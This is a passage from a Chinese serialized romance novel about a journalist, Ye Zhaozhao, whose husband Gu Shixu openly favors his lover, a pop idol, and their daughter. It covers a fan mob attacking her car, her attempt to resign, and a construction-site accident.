顾时序已经找来了两个女佣,要她们明天跟着朵朵,随身伺候着。
本来也不关我的事,我路过客厅都没准备停下。
直到听见苏雅欣对顾时序道:“这明摆着就是幼儿园老师不负责任,欺负我们朵朵。再这么下去,朵朵会不会出现心理问题啊?”
她话音刚落,顾时序就叫住我:“叶昭昭,你过来。”
我知道,如果我不过去,他接下来就要找宋今若的茬了。
我折返回去,冷冷问:“有事?”
顾时序狭长的凤眸透着一抹审视,道:“你今天一天,都去了哪儿?”
我快被气笑了,敢情他以为我这一天都躲在幼儿园的某个角落,跟宋今若密谋或者指使宋今若怎么对待她家宝贝女儿呢?
我微微一顿,反问道:“我去哪儿,跟你女儿今天尿裤子有关系吗?”
“我警告你,不要把心思动在朵朵身上。否则,我要你们叶家陪葬。”
他黑沉的眸子紧紧盯着我,说出的话比冰还令人寒心。
呵,叶家。
他从小就总去叶家找我哥哥玩儿,一到暑假就在叶家小住。
叶夫人和叶父把他当贵客招待,什么好吃好喝好玩儿的,都先紧着他。
可现在,他女儿自己尿了裤子被嘲笑,自己脾气不好被孤立,他就要让我们叶家陪葬!
这种话,他也能说得出口。
我攥着拳头,声音仍因为愤怒而发颤,一字一句地说:“我要是你,就反思一下是不是我把孩子宠成了低能儿?要是你想让她做公主,那就别送她去幼儿园。这个社会,没人惯着她!”
本来加班到这么晚我已经很累了,洗完澡就想早点睡觉。
可晚上我又失眠了。
凌晨,我上了小说网站的后台,继续更新我的书。
本来我只是写给自己看的,没想到,还真有几个读者催更。
……
翌日。
我到了单位,孟云初难得说了句人话。
“昨天你发我邮箱的稿子我看了,不错。”
她似笑非笑地说:“没想到,你还真有点东西。
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这几年,专业是一点没荒废。”
我微微一笑,道:“过奖了。”
原以为孟云初找不到我的茬儿就该撤了,我也能工作得舒心一些。
可傍晚快下班时,她突然走到我工位前,道:“你帮我个忙,去接个朋友。”
我蹙眉道:“这是工作的事吗?如果不是,那你的朋友你自己去接。”
说完,我拿起包准备下班。
她拦住我,道:“本来我是可以自己去接的,但我们新闻部今晚要有个客户需要我应酬。”
我还是不想去,便推脱道:“那你直接帮你朋友叫个车不就得了?”
孟云初严肃地说:“她身份敏感,不能让不熟悉的人接触到。叶昭昭,我是信任你才让你去。你要是不想去,那你就去替我应酬,我自己去接。”
我对应酬的事向来不擅长,再加上她有权决定我的试用期是否通过。
最终,我还是答应了她。
临走时,她给了我一串号码,又让我把车牌号给她,她要发给那个朋友。
就这样,我下了班便往海城一个风景区赶。
到达门口的时候,风景区门口被围得水泄不通面,也不知道里面是有什么大人物。
我还没有反应过来,车门突然被打开,几个保镖簇拥着两个人上来。
“顾先生,苏小姐,就是这辆车。”
保镖看到车牌号,确定我就是来接他们的人。
我是怎么都没想到,孟云初让我来接的人,是苏雅欣和顾时序。
也不知道这俩人谁是她朋友?
据我所知,大学的时候孟云初的家境并不好,按说她是接触不到这个圈子的。
苏雅欣和顾时序上了车看见是我,明显也错愕了一下。
我的车外面一堆苏雅欣的脑残粉,不停拍着车门,像是要把我们吃了似的。
顾时序蹙眉问:“怎么是你?”
我面无表情地说:“这也是我想问的问题。早知道是你们,我根本就不会过来。顾总要是不想坐我的车,现在就可以带着她下去。”
第19章 被他弄哭
苏雅欣看着车窗外那些粉丝的状态,像是受惊似的往顾时序怀里躲。
她声音虽小却又透着几分自豪地跟我解释:“叶小姐,真是不好意思,今天我在这边给时序哥的公司拍广告,粉丝太热情了。时序哥的车临时去接我母亲了,那就麻烦你,送我们回家吧。”
哦,原来是苏雅欣的母亲也来了,顾时序未来的丈母娘。
为了我在七星传媒的工作,我忍着心中的烦躁,缓缓将车平稳行驶出去。
没想到,那些脑残粉们就这么一直对我们穷追不舍。
我这辆车后面跟着好几辆其他车。
我去哪儿,他们去哪儿,主打一个不离不弃。
苏雅欣为难地说:“时序哥,他们要是一直这么跟下去,肯定会知道我现在的住处。我的隐私,就曝光了。”
顾时序突然对我道:“叶昭昭,停车。”
我还以为他们是为了不曝光居住地址,所以打算在这里下车。
可没想到,我刚把车停在路边,顾时序就道:“把你的衣服给雅欣,然后开着车走。”
我愣住,不可置信地看着他。
他真是一点都不顾我的死活啊!
似乎看出了我的不愿,顾时序道:“她是明星,你是普通人。那些粉丝的目标不是你,你没有任何危险。”
苏雅欣此时也握着我的手,十分柔弱的样子:“求求你,叶小姐,帮我一次,好不好?我自己无所谓,可如果我的隐私曝光了,对时序哥和朵朵都不好。”
我从后视镜里,跟顾时序漆黑凉薄的目光对上。
“顾时序,你休想!要是再惹我,你们一起给我滚下车!”
我几乎是咬牙切齿的。
我始终不懂,一个人的心怎么可以冷得像石头。
原以为只要我不肯,顾时序也拿我没办法。
可他薄唇轻启,吐出的每个字都这样残忍,“从现在开始,我让他们停了你母亲的设备。什么时候你跟雅欣换衣服,什么时候设备再启用。”
那个设备是我妈妈救命的东西,他却说停就要停掉。
最终,我被迫妥协。
就这样,苏雅欣换上我的衣服,顺利从车上下去,逃过了那堆脑残粉的眼睛。
而顾时序还在车上。
我紧紧握着方向盘继续开车行驶在公路上,可眼泪却像是关不住的水龙头,无声地爬满脸颊。
顾时序冷硬的面容松动了几分,难得跟我解释:“她是朵朵的妈妈,她不能出事。”
我吸了吸鼻子,问:“顾时序,你准备什么时候给她一个名分?”
我一边想着律师的话不能打草惊蛇,可我又实在忍不住想摆脱这段婚姻。
后视镜里,顾时序黑沉的眸光晦暗不明,不悦地道:“这不是你该操心的事。”
说完,他道:“你马上在下个路口把我放下来,然后再开车去别的地方。记住,不要暴露家里的地址。”
我真是佩服顾时序,把他想保护的人保护得万无一失。
而我,就是随时被舍弃的那个。
顾时序下车后,我调转车头漫无目的地开车绕着公路走。
后来,我车子的油都被耗光了,被迫停了下来。
那些粉丝终于找到了机会,几辆车将我的车包围住,各个拿着手机和本子拍打我的车门。
我立刻报了警,锁好了车门等警察过来。
然而,就在这时,不知道是谁直接用铁棍砸烂了我的车窗。
我何时见过这样的场面,吓得屏住呼吸。
车窗破碎的玻璃碴就落在我面前。
当他们看到车里只有我一个,苏雅欣连影子都没有的时候,全都疯了。
“雅欣不在车里!怎么会这样?”
“这人是谁!”
“你给我出来!”
他们三下五除二地将我从车里拉了出来,玻璃渣划破了我的手。
可这远远没有结束,那些人抓着我,质问道:“雅欣呢?我们欣欣去哪里了?”
“你知不知道,我们费了多大劲才找到欣欣,你居然敢骗我们!”
“你真该死!我们粉了欣欣这么久,就为了拍张合照,你为什么连这个机会都不给我们!”
我成了这些人的出气筒。
他们撕扯着我的头发,拉扯我的衣服,疯了一般的闹。
因为他们人太多,我压根逃不出来。
不知什么时候,警
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车的声音在这嘈杂的环境中突兀地响了起来,终于终止了这场类似于群殴的**。
那些失去理智的粉丝被警察带走了,我也被带到警局做备案记录。
将事情叙述了一遍之后,警察十分同情我。
他们让警局的医生帮我简单处理了伤口,问我:“需要让你的家人来接你吗?”
“谢谢,我自己回去就好。”
我嗓音沙哑,疲惫到快要发不出声音。
后来,有一个女警大概是觉得我可怜,而且我的车拿去修了,她便主动提出送我回去。
路上,那位女警官对我道:“叶女士,医生给你开的药膏一定要记得每日涂抹,这样才不会在脸上留下疤痕。”
“好,我知道了。谢谢。”
这唯一的温暖,竟是来自于一个陌生人。
半小时后,我终于到了家。
别墅里刚好是晚餐时间。
水晶吊灯将餐厅裹在一片温馨里,朵朵一会儿跑到爸爸怀里,一会儿又到妈妈怀里。
顾时序宠溺地对女儿道:“慢点儿,小心摔着。”
苏雅欣切了一块牛排喂朵朵,“乖,吃一口。”
直到我狼狈地出现在他们眼前,顾时序黑色的瞳仁猛地一缩,仿佛才惊觉还有我这么个人。
被他完完全全抛在脑后的人。
他们的幸福生生刺痛了我的眼睛,此刻蔓延在我心底的悲凉比外面深秋的寒意还要刺骨。
顾时序蹙眉问:“怎么搞成这样?”
我没说一个字,就这么看着他。
他这么聪明的人,为什么要明知故问呢?
朵朵捏着鼻子,夸张地说:“爸爸,她怎么这么邋遢?看起来脏脏臭臭的,你让她走嘛!不然,我都吃不下饭了。”
其实,我到现在,也没吃一口饭,没喝一滴水啊!
顾时序是舍不得他宝贝女儿委屈一点的。
为了不让我这个倒胃口的人影响他女儿吃饭,他对我道:“你先回房间,我晚点去找你。”
我目光划过他们每个人的脸。
顾时序复杂的表情,苏雅欣眼底的得意,朵朵毫不掩饰地嫌弃。
我要牢牢记住他们此刻的模样。
第20章 我不干了!
回到房间,我早已筋疲力尽,连做饭的力气都没有了。
随意从抽屉里拿出一个小面包垫了垫肚子,然后,给孟云初打过去电话。
前几个电话被她挂了。
后来,耐不住我一直打,她还是接了。
“叶昭昭,你有完没完?我不是告诉你了,我今晚应酬呢,究竟什么急事非要现在说?”
孟云初的声音很不耐烦。
我冷冷道:“就是跟你说一声,我不干了。明天麻烦你把我的记者证和学历证件寄给我!”
因为我入职之后,记者证和学历学位证都是要放在公司人事处的。
可我不想回去拿,更不想被同事或者孟云初看见我脸上的伤和狼狈。
“什么?”孟云初语气提高了几分,问:“为什么?”
“你自己心里清楚。”
虽然我不知道孟云初跟苏雅欣是什么关系,可我就不相信这世上有这么巧的事?
孟云初不派别人接苏雅欣,非要派我?
跟孟云初通完话,我脸上传来火辣辣的疼痛。
我拿出镜子,小心翼翼地将创可贴揭开,两道明显的抓痕像是我在这个婚姻里经受的伤害,触目惊心。
从小到大我这张脸一直都被人夸赞,我对自己的容貌一直很有自信。
可现在,我没有自信了。
苏雅欣的存在,遮住了我所有的光芒。
让我在这个家里,活得像个小丑。
我对着镜子,用碘伏棉签轻轻擦拭着伤口。
刚才在警局虽然医生给我消过毒了,但我怕消毒不彻底,万一再感染。
就在这时,顾时序推门进来了。
我从镜子里看到他,却没有回头,依然在专注着我手中的事。
他走到我身边,拿过我手里的棉签,对我道:“我来吧。”
“不必了,麻烦你出去。”
我站起身,不想让他手中的棉签接触到我,更不想让他碰我一下。
顾时序只当我在赌气,对我道:“我已经让孙杰去找律师了。那几个伤害你的人,会往重了判。”
伤害我的人?
顾时序啊,你是真不懂还是装傻?
伤害我的人从来都不是那些施暴者,而是将我推向他们的那双手!
可现在我也不知道为什么,心里的话不想跟他说一句,反正,他也根本不在乎。
所以,他说什么就是什么吧!
我平静地点头:“嗯,你费心了。还有别的事吗?”
顾时序见我没吵没闹,以为他这样的处理结果令我很满意,便点点头,道:“那你早点休息。”
他离开后,我用手背使劲揉了揉眼睛,擦掉了一片湿润。
……
翌日,我没去上班。
孟云初给我打电话道:“公司不是菜市场!要是你想辞职,就走正常的审批流程!”
我的记者证和学历学位证都在启星传媒压着,她不肯寄给我,我只好自己走一趟了。
下午,当我脸上带着伤出现在孟云初面前时,她着实吓了一跳,问:“你……这是怎么回事?”
我讽刺道:“别装了行么?你朋友没跟你说,昨晚发生的事?没谢谢你,给她送了个人头让她出气?”
孟云初半天才反应过来,“你……你是说苏雅欣?你这伤是她打的?”
我忍无可忍道:“你敢说昨天你不是故意派我去接她?你敢说,不是你跟她商量好的?”
“叶昭昭,你别莫名其妙把屎盆子往我头上扣!”
孟云初怒了,厉声道:“实话告诉你,苏雅欣是我男朋友的妹妹。就这么简单,怎么被你延伸出这么多阴谋论?”
我怔住了,可孟云初的样子不像说谎。
反正我现在已经是她的手下了,又跟她撕破脸要辞职,她也没有必要跟我说谎。
我警告道:“我只想告诉你,苏雅欣她是我丈夫的出轨对象。以后所有跟她有关的事,你不要再找我!”
说完,我不再理会孟云初震惊的眼神,离开了她的办公室。
我的辞职报告孟云初没有批准,如果我擅自离职,他们有权利扣留我的所有证件。
所以最终,我没走成。
不仅如此,因为上午我没去上班,积压了半天的工作还是要完成,我只好继续待在单位加班。
总监室的灯也亮着。
晚上九点我快结束工作时,孟云初走到我办公桌前,试探着问:“你下午说的那些话,是真的?苏雅欣找了有妇之夫?”
我看着她,道:“看来,你跟你这个小姑子关系好像也就一般般。你连她现在跟什么人在一起都不知道。”
孟云初冷哼了声,双手环臂,阴测测的道:“不瞒你说,要不是因为我这个小姑子,我和我男朋友早就结婚了。我已经忍她够久了!叶昭昭,或许我们俩可以结盟。毕竟,我们有共同的敌人呢。”
面对孟云初的‘结盟’提议,我回了三个字:“没兴趣。”
毕竟,这孟云初以
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后是要跟苏雅欣成为一家人的。
现在她讨厌苏雅欣无非是因为她阻拦了她的婚事,可要是哪天苏雅欣接受这个嫂子了呢?
那我立刻就会被孟云初推出去献祭。
我工作做完准备收拾包包走了,孟云初拉着我,好奇地问:“你丈夫是不是之前捧她出道的那个?听说那男人又是砸钱、又是找人脉,让她从那堆韩国练习生里脱颖而出。要不是那个男人,也没有现在的苏雅欣。”
听她这么说,我就下意识算了一下时间。
之前我做娱乐记者时对苏雅欣的经历做过功课,她做练习生的时候才16岁,成团出道的时候是18岁。
按照孟云初的说法,在六年前,顾时序就认识了苏雅欣,并且为她砸资源、联系人脉?
如果那时候他就喜欢上了苏雅欣,又为什么要在四年前跟我求婚,跟我结婚呢?
孟云初见我不急着走了,笑了笑,道:“那个男人,该不会就是你老公吧?”
我突然一个激灵,那个人是顾时序的可能性还真不大,更大的可能是我哥哥。
六年前,我哥跟韩国的一个企业合作,三天两头飞韩国去。
之所以记得那么清楚,是因为我曾经喜欢一个男韩星,还让我哥去给我弄签名。
难道,那个为苏雅欣砸资源、捧她出道的人是我哥?
我问孟云初:“你知不知道那个男人姓什么?”
她挎着脸道:“这我就不清楚了。我只知道以前苏雅欣家里也就算小康家庭,根本没这么多资本捧她。不过现在啊,今非昔比了!她爸爸、她哥哥都是学术圈里有头有脸的人物。”
“那你就加油,尽快搞定你的小姑子。”
我婉拒了孟云初的提议,因为我不想被她当枪使。
孟云初见她说了这么一大堆,我都没有心动,大概是觉得面子过不去,便道:“叶昭昭,我不是没给过你机会,是你自己不珍惜。别忘了,你还在试用期呢!”
我一边朝门口走,头也没回地朝她挥挥手:“想辞退我随时!”
……
回去的路上,我脑子很乱,愈发肯定苏雅欣跟我哥或许早就在一起了。
只是我不清楚,我哥哥究竟知不知道这女人已经给顾时序生了孩子?
我拿出电话,打给了叶家。
是叶夫人接的。
“妈,您不是说我哥这周要把未来嫂子带回家吗?确定是周几了吗?”
我有点着急了。
第21章 伤在我身上,你凭什么替我原谅?
叶夫人叹了口气,道:“你哥说最近狗仔一直跟着雅欣,这节骨眼儿上带回来见父母太不安全了。所以,时间改成下周了。”
“这样啊……”
我有点失望,又要拖一周。
不过没关系,好饭不怕晚,总能让我哥和顾时序看清楚这女人真面目的。
我挂电话前,又叮嘱了一句:“那要是时间确定好了,您一定要通知我啊!”
叶夫人笑着道:“你这孩子,从小就喜欢凑热闹。放心吧,肯定会跟你说的。”
……
到家时,苏雅欣正在训斥那两个贴身伺候朵朵的女佣。
听说是因为顾时序的宝贝女儿今天又尿裤子了,而且尿了三次,三条干净的裤子全部用完不说,又被其他小朋友嘲笑。
女佣委屈的解释:“顾先生,苏小姐,我们真的已经很注意了。可朵朵小姐不喜欢戴尿不湿,说屁屁会痒。”
我看着这场景,莫名想起我小时候上幼儿园,好像也三天两头尿裤子,而且我当时用尿不湿过敏,就只能频繁地换新裤子。
直到第二年,这种情况才好一些。
苏雅欣厉声呵斥女佣:“你们还敢狡辩!就是你们不注意,才让朵朵尿了一次又一次。要是朵朵因为这件事出现了什么心理问题,你们担得起责任吗?”
顾时序转动着手中佛珠,冷冷道:“你们去找刘妈结账,明天不用再来了。”
我心中感慨,以前,从没有看到冷静自持的顾时序会有这般昏庸的时候。
他家女儿,真是养得比公主还金贵。
我本不想沾染这几个晦气的人,但我回房间要路过客厅。
刚走几步,就被苏雅欣叫住了,“叶小姐,我有点事想求你。”
说完,她走到我面前,“我想替我的粉丝们求求情。我知道他们昨天很过分,但是得饶人处且饶人,原谅他们吧。起诉的事,就算了。”
我冷笑了声,道:“伤在我身上,你凭什么替我原谅?不然,你也被薅掉几撮头发,被他们把脸抓花?看看你原不原谅?”
说到这儿,我望向顾时序,“再说了,昨天不是我找的律师,是顾总主动要帮我告他们的。我没记错吧?”
苏雅欣轻轻勾了勾唇,道:“时序哥这边好说。他知道我身份敏感,不好得罪粉丝的。”
“所以,我替你遭了罪,你苏雅欣开始出来当圣母了?”
我冷嗤了声,要不是怕打草惊蛇,我恨不得现在就质问她跟我哥是什么关系?
这时,顾时序淡淡地说:“雅欣是偶像明星,要是这次把粉丝告了,以后还有谁敢做她的粉丝?这件事就到此为止吧。”
他轻描淡写地让我昨天所受的一切伤害和委屈,就像是投进海面的一张纸,连声响儿都没有。
不过,无论那些粉丝受到怎样的惩罚,罪魁祸首也依旧好端端地坐在这儿。
起诉不起诉的,又能怎样呢?
我目光从他凉薄的脸上扫过,往自己房间走去,不再多言。
反正,再有半个多月,等我妈救命的设备一上市,我就再也没有什么能被顾时序拿捏的了。
到时候,就能把离婚放在台面上谈了。
现在,忍他们一天,少一天。
我走了几步,身后传来朵朵崇拜的声音:“妈妈是最善良的仙女了!那个女佣阿姨每次都没有笑脸,像个巫婆,好可怕哦!对不对呀,爸爸?”
顾时序轻轻‘嗯’了声,温柔得很,跟他平时对我的清冷完全不同。
我轻扯唇角,胸口像是塞了一团棉花,必须要深呼吸才能舒畅些。
……
周末,我跟心理医生约好去复诊。
根据我失眠的频率和一张抑郁测量表,心理医生蹙眉问:“叶女士,我给你开的药,都按时吃了吗?”
“嗯,有按时吃,怎么了?”
我忐忑地问:“是不是我的病又严重了?你不用瞒着我,我自己能感觉到,我现在每天都是身心俱疲的感觉。就算什么都没做,也会很累。”
心理医生凝重地说:“我有句话,虽然知道你不爱听,但我必须要说。上次,你对我说你已经不在乎你的丈夫和你的婚姻了。但从你现在的种种反应来看,这些正是在乎的表现。”
我刚想说什么,他立刻打断道:“你不用急着否认。毕竟,是二十年的感情,四年的婚姻,除非这个人是完全没有感情的机器。否则,多多少少都会不舍、不忍,我能理解。”
我哑口无言。
后来,心理医生还是按照原计划对我进行了治疗。
我每每说出跟顾时序的过去,明明那样美好,却变成了锋利的刀,生生将我的肉剜下来。
两小时的心理治疗后,我离开了诊室。
诊室门口的电梯一共三个,我刚进去其中一个电梯,另一
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个电梯的门突然开了。
我看着顾时序跟助理一起出了电梯。
他这人向来矜贵,走在路上目不斜视,所以没看到我。
我心中疑惑,立刻也出了电梯,悄悄跟在他们后面。
顾时序进了另外一个诊室,这里的诊室根据医生级别不同,价格也不同。
他去的是最贵的那个。
我疑惑极了,顾时序怎么会出现在精神心理科?
难不成,他这个婚姻里的施暴者竟然也被逼出了心理问题?
这个猜测很快被我否认了,顾时序和苏雅欣现在不知道多甜蜜,怎么可能有心理问题?
那其他可能就是朵朵上幼儿园之后,有了心理问题?
顾时序是为了来给她女儿看病的?毕竟,这小丫头自从上了幼儿园就成天尿裤子,人际关系也处理不好。
可今天是周末,朵朵明明在家,如果真是为了她看病,应该带着她一起来才对。
就在这时,护士的声音让我吓了一跳。
“这位女士,你找谁?”
我连忙找了个借口,镇定地说:“我是刚才那位顾先生的太太,我竟不知道我老公有心理疾病。不知道他来这里多久了?”
说完,我还拿出以前跟顾时序合照的照片给她看,打消了她的怀疑。
护士对我的态度立刻恭敬了许多,道:“顾先生几乎每周六下午都会来这儿。”
每周六?
所以顾时序还不是第一次来这儿?
我继续问道:“那他治疗这个病多久了?严重吗?”
那护士道:“其实我也是去年才来这里上班的,反正自从我在这边工作起,就总能在周六下午看到顾先生。至于他是什么病,我就不知道了。医生都是为病人严格保密的。”
我想想也是,我来看心理医生的第一天,就跟医生签了保密协议。
“好,我知道了,谢谢你啊。”
我离开时,叮嘱道:“麻烦你别告诉我老公我来这里找过他。既然这是他的隐私,他一定是不想让人知道的。否则,我怕你跟我说这些,也会受到牵连。”
护士被我吓到了,自知自己刚才的话不妥,赶紧点点头。
回去的路上,我怎么都想不通。
从刚才护士的话里,他一年前就开始来这里了,那肯定不是因为朵朵尿裤子这件事。
那顾时序究竟是为了什么,来心理科看病呢?
第22章 把自己送他床上
晚上,我约了宋今若出来,将这件事告诉了她。
她也跟我一样,一头雾水。
随即,对我道:“这还不容易,我找**查查。要是顾时序真有什么心理问题,离婚的事就更简单了。他一个心理有问题的人当初跟你求婚,却隐瞒你他有病,那叫骗婚!”
我满脸黑线,道:“你别忘了,我现在心理也有问题,也在看心理医生。”
“那怎么能一样?你这是被他逼的!反正这件事交给我吧!”
宋今若恨恨地说:“该死的顾时序最近因为他女儿,总是为难我们幼儿园,甚至威胁我爸爸,要撤掉顾氏集团对我们每年的投资。我正愁抓不到他的把柄呢,等我抓住了他的小辫子,我看他还跟我狂!”
跟宋今若吃完晚餐,我回到家,顾时序还没有回来。
我听见苏雅欣在客厅跟他打电话,温柔地叮嘱他,“别着急,事情再糟糕也要记得吃饭。”
电话那边不知说了什么,苏雅欣甜蜜一笑,道:“好,那我先哄朵朵睡觉,就不等你了。”
我觉得挺新鲜,以往顾时序倒是经常出差、夜不归宿。
可自从朵朵和苏雅欣住进来之后,这男人好像一次都没有夜不归宿过。
所以他今天晚上不回家,是跟下午看心理医生有关系吗?
直到我进了房间,打开手机才知道,顾时序现在还没回家的真正原因。
原来是顾氏集团的工地出了问题,包工头卷了几百万跑了,工人们半年没发工资。
直到今天一个工人要不来工资实在气不过,冲动之下从工地建筑的最高处跳下来摔**,这件事才突然爆发,引起了巨大的社会反响。
所有的矛头直指顾氏集团,怪不得刚才苏雅欣会这么说。
这事情,确实还挺糟糕的。
整整半年时间,顾时序作为老板,一点都没有察觉到工地的异样。
看来他的精力,是全用在跟苏雅欣的风花雪月了。
……
翌日,我刚一上班,孟云初就安排了任务。
让我去顾氏集团采访这次关于工地工人的**事件。
“你赶快去,我们要尽快拿到第一手的消息。记住,一定要让顾氏总裁开口。”
孟云初火急火燎地安排了任务,就匆忙去开会了。
我连推辞的话都来不及说。
让顾时序开口?
现在,那么多人喷顾氏集团,我上赶着去碰钉子,他能开口才怪!
奈何时间紧任务重。
无奈之下,我自己扛着机器,装好采访设备,去了顾氏集团。
刚进门,我就被前台拦住了。
“你是记者?抱歉,我们顾总现在不见人,也不接受任何采访。”
她说完,我看了眼外面一堆跟我一样的记者。
就在这时,顾时序的助理刚好从外面进来。
我立刻叫住了他:“孙杰!”
“太……”他意识到我跟顾时序是隐婚,连忙改口道:“叶小姐,您怎么来了?”
我直白地说:“来采访。”
孙杰面露难色,道:“您就放过顾总吧。我刚去外面应付完一堆记者,顾总现在真不能接受任何采访,您别让我为难了,行么?”
刚才来的路上,我收到了同事给我发的受害者的家庭情况。
一贫如洗!在工地上搬砖整整半年,就为了每个月四千块的工资。尽管如此,包工头拖了半年,这工资也没发下来。
他们家是实在没钱吃饭,孩子没钱上学了,那个民工才被迫做出这样的选择,结束了自己才四十岁的生命。
可顾时序呢?
吃的蔬菜是国外当天空运来的,给小情人买的衣服是国际顶奢大牌,女儿上幼儿园都要配备两个专职女佣服侍。
现在出了这种事,他躲起来了,凭什么?
我冷声道:“非要我在这里说出我和顾时序、苏雅欣,我们三个之间的关系吗?这样,你们顾总不仅能登上社会新闻,还能登上娱乐新闻。孙杰,你想清楚!”
孙杰不敢再拒绝我采访的要求,毕竟,现在外面都是记者。
我要是把我跟顾时序的关系,还有苏雅欣跟顾时序的关系抖出来,那顾氏集团的天都能被捅出个窟窿。
终于,他点点头,道:“行,那您跟我上来吧。”
他把我带到顶层总裁办公室,对我道:“太太,您先在这儿等我一下,我先去跟总裁知会一声。”
我怎么可能等他先跟顾时序说?
顾时序要是知道我来采访,会乖乖配合?
“不必了,他又没在办公室里干什么见不得人的事,我直接进去也没什么。”
说完,我快步朝他办公室走去,孙杰在后面拦都拦不住。
然而,我刚推开门,就愣住了。
落地窗前,苏雅欣从身后搂着顾时序的腰,将脸贴在他的身后,格外缱绻。
我的一声冷嗤,惊到了他们,他们立刻松开了对方。
顾时序冷若寒潭的黑眸直直向我看过来。
我还是太低估顾时序的抗压能力了。
这种时候,我以为他该焦头烂额才对,可他竟然还有心思跟苏雅欣卿卿我我。
孙杰
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见状,连忙跟顾时序道歉:“抱歉,顾总,我没有拦住太太。”
“滚出去。”
顾时序这话是对我和孙杰说的,让我俩一起滚。
但我没走,孙杰也拉不走我。
在顾时序的默许下,孙杰先走了。
办公室里,就只剩下了我们三个。
我将采访设备架好,完全不想跟他多废话一句,开门见山地说:“顾总,现在方便接受我的采访吗?第一个问题,……”
顾时序打断我,清冷的声线带着一抹失望,道:“叶昭昭,这种时候,你也要来踩上一脚?”
“我只是做一个新闻记者该做的事。”
我亮出自己的工作证,面无表情地道:“麻烦顾总配合一下我的工作。”
顾时序还没开口,苏雅欣倒是一脸震惊地问:“叶小姐,你怎么可以这样?时序哥现在已经很难受了,求求你,放过他好吗?”
“难受?”
我冷笑了声,眸光格外锋利地看着她,道:“他难受还有心情玩女人?现在真正难受的是那些辛辛苦苦搬了半年砖,拿不到钱的民工!”
苏雅欣委屈地咬着唇道:“你误会了,我只是在安慰时序哥。”
我讽刺地反问:“怎么安慰?巴巴跑到办公室来,脱衣服,把自己送上床安慰?”
顾时序冷声道:“你现在不仅刻薄,还龌龊。”
我点点头,道:“对,我龌龊。是我自己吃香喝辣,**血馒头,却逼得给我打工的人****。我是畜生,我就不配为人!顾总,现在可以接受采访了吗?”
顾时序静静看了我一会儿,修长的手指揉了揉眉心,眉头拧得很深。
“现在我没时间,要去工地一趟。你要是真想采访,就跟着一起来。”
这次,我是必须要采访到点真东西,给公众一个交代的。
他休想甩掉我。
所以我拿起设备,跟他一起出了门。
不知道他是不是被气傻了,看我扛的东西有点多,还让孙杰帮我拿。
可我没想到,他还要带着苏雅欣一起去工地。
我简直不明白他的脑回路,去工地无非是视察或者安抚工人,带着小情人一起?
顾时序还嫌自己现在被骂得少吗?
不过我很快就跟顾氏集团没什么关系了,他们愿意怎么样,都随便吧!
就这样,我们三个坐上一辆车,去了工地。
但跟我预想的不同,那些工人不仅没有闹起来,反而各个都对顾时序尊敬有加。
顾时序看着我道:“不是要采访吗?开始吧。”
第23章 我和苏雅欣,他只能救一个
我这才想起正事儿,赶忙拿出采访设备。
只听顾时序道:“顾氏集团旗下的施工团队出现在这样的纰漏,我有很大的责任。但是昨天在事情发生的第一时间,我就立刻安排解决工人工资问题。另外,受害者的家属,我们顾氏集团负责安顿和赔偿,绝不会逃避责任。”
他的话,也是说给工地上的工人们听的。
大家听了之后,纷纷对顾时序敢作敢当,处理事情果断干脆赞不绝口。
后来,我从一个工人的口中得知,之所以能这么快安抚好工人不**,是因为顾氏集团不仅补发了半年工资,还额外多补偿了一倍。
我看着许多人这如释重负、喜笑颜开的神色,不由想起昨晚那个从楼顶一跃而下的那位工人。
其实几百万、几千万对顾时序来说,根本不是问题。
可这却是一个鲜活的生命换来的。
而他摔落到地上的痕迹,现在还清晰可见,干涸的血刺得人眼睛很痛。
这时,苏雅欣也开始给自己加戏了。
她像是走红毯似的从车里下来,工人们立刻认出了她。
完全没想到,这么个大明星居然能来这种地方。
她带着亲切的笑意跟大家打招呼:“大家好,我是雅欣,跟顾总一起来慰问大家。我还带了奶茶和点心请大家吃,你们辛苦了。”
她说完,她带来的助理已经开始给工人们分发奶茶。
我微微叹了口气,这位大小姐还真是讲究,跑到工地分发奶茶。
倒不如给大家点一顿好点的晚餐实在。
许多工人喝不惯奶茶,喝了一口就放在了一边。
但是想找苏雅欣签名的人却很多。
“雅欣小姐,我们家孩子特别喜欢你,能给我们签个名吗?”
“我们家孩子也是,你是她唯一的偶像!”
“……”
一堆人围了上去找苏雅欣签名。
而苏雅欣也没有不耐烦的样子,不仅跟他们签名,还跟他们合照。
我像是被晾在一旁的空气,听着周围的工人们议论。
“哎呀,这顾总和老板娘真是郎才女貌啊,关键是两人还没有架子,真亲切!我这辈子都没想过,能跟明星这么近距离接触。”
“苏雅欣不是顾氏集团的代言人吗?怎么成老板娘了?”
“这你就不懂了!苏雅欣看顾总的时候,那眼神都是爱意!你看着吧,苏雅欣再过不久就是我们老板娘喽!”
“……”
我心中发涩,拿出相机抓拍现场的情况,将自己完全投入工作中。
这时,苏雅欣突然望向我,道:“叶记者,就只对时序哥感兴趣,不采访一下我吗?”
其实苏雅欣来跟顾时序一起慰问的事,如果当新闻发出去,的确能成为一个亮点,浏览量肯定能大幅度增长。
为了工作,我走到她旁边,拿出录音笔。
就在这时,不知道是谁突然大叫了一声“小心”!
我下意识地抬头,便看到正上方吊车上一个巨大的石头摇摇欲坠,那根吊着石头的铁链断了一大半,不堪重负。
一旁苏雅欣的尖叫声划破天际,而我也被这突发情况吓到,根本来不及反应,那块大石头已经极速落了下来。
下一秒,顾时序的身影快得几乎能带出残影,扑向苏雅欣,将她从这儿推开。
而我呆呆站在原地,那几十公斤的大石头就贴着我不到一厘米的距离落了下来,重重砸在地上。
我脚尖传来一阵钻心的剧痛,疼得我几乎喘不过气来。
耳旁传来苏雅欣的哭声,“时序哥,我心口好痛,好像是心肌炎复发了!”
“是不是刚才吓到了?我现在带你去医院。”
顾时序的目光始终没有看到被鲜血染湿的我的鞋子,抱起苏雅欣就往车里走去。
我后知后觉地回过头,眼睁睁地看着顾时序步伐越来越快,黑色大衣的衣角在风中翻飞。
再后来,他的车消失在了我的视线里。
脚尖的剧痛让我踉跄地坐在地上,心跳扑通扑通地撞击着胸口,浑身都是冷汗。
那块石头要是再偏一点,或许现在的我,就已经不在这个世上了。
可从始至终,顾时序都没有发现受伤的我。
这时,天上下起淅淅沥沥的雨。
工地停工,所有人都跑回室内躲雨,很快,这空旷的工地上一个人都没有了。
我坐在雨里,掏出手机想打电话叫急救车。
可偏偏连手机都没电了
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,老天都好像在故意为难我,跟我作对。
雨越下越大,我冷得牙齿打颤,紧紧抱着自己。
脚尖的血被雨水冲刷成了血水,蜿蜒地顺着鞋底流淌。
我本就贫血,现在头晕目眩,只觉得意识都要涣散了。
就在我绝望之际,一道刺目的车灯划破雨幕。
